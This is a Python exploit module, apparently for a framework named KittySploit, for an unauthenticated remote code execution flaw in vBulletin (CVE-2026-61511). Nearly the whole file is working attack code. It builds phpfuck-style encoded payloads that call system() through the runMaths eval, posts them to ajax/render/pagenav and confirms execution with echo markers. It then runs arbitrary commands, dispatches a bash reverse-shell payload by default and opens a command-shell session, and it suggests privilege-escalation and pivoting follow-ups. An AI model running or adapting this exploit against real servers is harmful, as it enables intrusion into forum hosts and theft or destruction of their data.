vBulletin runMaths Pre-Auth RCE (CVE-2026-61511)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
import re


class Module(Exploit, Http_client):
    __info__ = {
        "name": "vBulletin runMaths Pre-Auth RCE (CVE-2026-61511)",
        "description": (
            "Unauthenticated RCE via vB5_Template_Runtime::runMaths() eval injection. "
            "Crafted pagenav[pagenumber] reaches {vb:math} through ajax/render/pagenav; "
            "phpfuck-style encoding bypasses the character whitelist to call system(). "
            "Affects vBulletin <= 6.2.1 / <= 6.1.6 (and 5.x through 5.7.5)."
        ),
        "author": ["Egidio Romano (EgiX)", "KittySploit Team"],
        "cve": ["CVE-2026-61511"],
        "platform": Platform.MULTI,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-61511",
            "https://ssd-disclosure.com/vbulletin-runtime-template-runmaths-preauth-rce/",
            "https://github.com/arxenix/phpfuck",
        ],
        "modules": [
            "scanner/http/vbulletin_runmaths_rce_cve_2026_61511_detect",
        ],
        "tags": ["vbulletin", "php", "rce", "preauth", "eval"],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["vbulletin"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    path = OptString("/", "vBulletin base path (e.g. / or /vb/)", required=False)
    command = OptString("", "OS command (overrides payload when set)", required=False)

    # chr() built from floats/XOR — only whitelist chars for runMaths()
    CHR = (
        "((((999999999999999999999999999999999999999999999999999999999999999999999999"
        "9999999999999999999999999999999999999999999999999999999999999999999999999999"
        "9999999999999999999999999999999999999999999999999999999999999999999999999999"
        "9999999999999999999999999999999999999999999999999999999999999999999999999999"
        "999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))"
        "^((9).(9)))))"
    )

    def __init__(self, framework=None):
        super().__init__(framework)
        self._session_connections = {}

    def make_payload(self, function, param):
        """phpfuck: (chr.chr...)(chr.chr...) => function(param)."""
        digits = {str(i): f"({i})" for i in range(10)}

        def enc(ch):
            return ".".join(digits[d] for d in str(ord(ch)))

        fn = ".".join(f"{self.CHR}({enc(c)})" for c in function)
        args = ".".join(f"{self.CHR}({enc(c)})" for c in param)
        return f"({fn})(({args}))"

    def base_path(self):
        base = str(self.path or "/").strip() or "/"
        if not base.startswith("/"):
            base = "/" + base
        return base.rstrip("/") or "/"

    def send(self, cmd):
        """POST encoded system(cmd) to ajax/render/pagenav; return response text."""
        data = {
            "routestring": "ajax/render/pagenav",
            "pagenav[pagenumber]": self.make_payload("system", cmd),
        }
        path = self.base_path()
        for p in (path, f"{path}/index.php" if path != "/" else "/index.php"):
            r = self.http_request(
                method="POST",
                path=p,
                data=data,
                headers={"X-Requested-With": "XMLHttpRequest"},
                allow_redirects=False,
                timeout=30,
            )
            if r is not None:
                return r.text or ""
        return ""

    def execute(self, cmd):
        """Run OS command and extract output between markers (http_cmd / run_command)."""
        cmd = (cmd or "").strip()
        if not cmd:
            return ""
        marker = "KS" + self.random_text(8)
        body = self.send(f"echo {marker}; {cmd}; echo {marker}")
        m = re.search(re.escape(marker) + r"(.*?)" + re.escape(marker), body, re.DOTALL)
        return m.group(1).strip("\r\n") if m else ""

    def run_command(self, command):
        return self.execute(command)

    def check(self):
        marker = "KS" + self.random_text(10)
        body = self.send(f"echo {marker}")
        if marker in body:
            return {
                "vulnerable": True,
                "reason": "system()/echo marker reflected via ajax/render/pagenav",
                "confidence": "high",
            }
        return {
            "vulnerable": False,
            "reason": "Marker not found (patched, filtered, or wrong path)",
            "confidence": "medium",
        }

    def run(self):
        print_status("CVE-2026-61511 — vBulletin runMaths pre-auth RCE")
        marker = "KS" + self.random_text(10)
        if marker not in self.send(f"echo {marker}"):
            print_error("Target does not appear vulnerable")
            self.not_vulnerable()
            return False

        print_success("Remote code execution confirmed")

        cmd = str(self.command or "").strip()
        if cmd:
            print_status(f"Executing: {cmd}")
            out = self.execute(cmd)
            if out:
                print_info(out)
        elif self.payload:
            print_status("Dispatching reverse payload")
            self.send(str(self.payload))

        if self.framework and hasattr(self.framework, "session_manager"):
            sid = self.framework.session_manager.create_session(
                host=str(self.target),
                port=int(self.port),
                session_type="http_cmd",
                data={
                    "protocol": "https" if self.ssl else "http",
                    "uripath": self.base_path(),
                    "exploit_module": "vbulletin_runmaths_rce_cve_2026_61511",
                },
            )
            self._session_connections[sid] = self
            print_success(f"HTTP command shell: {sid}")
            print_info("Use 'sessions -i <id>' for an interactive shell")

        self.vulnerable()
        return True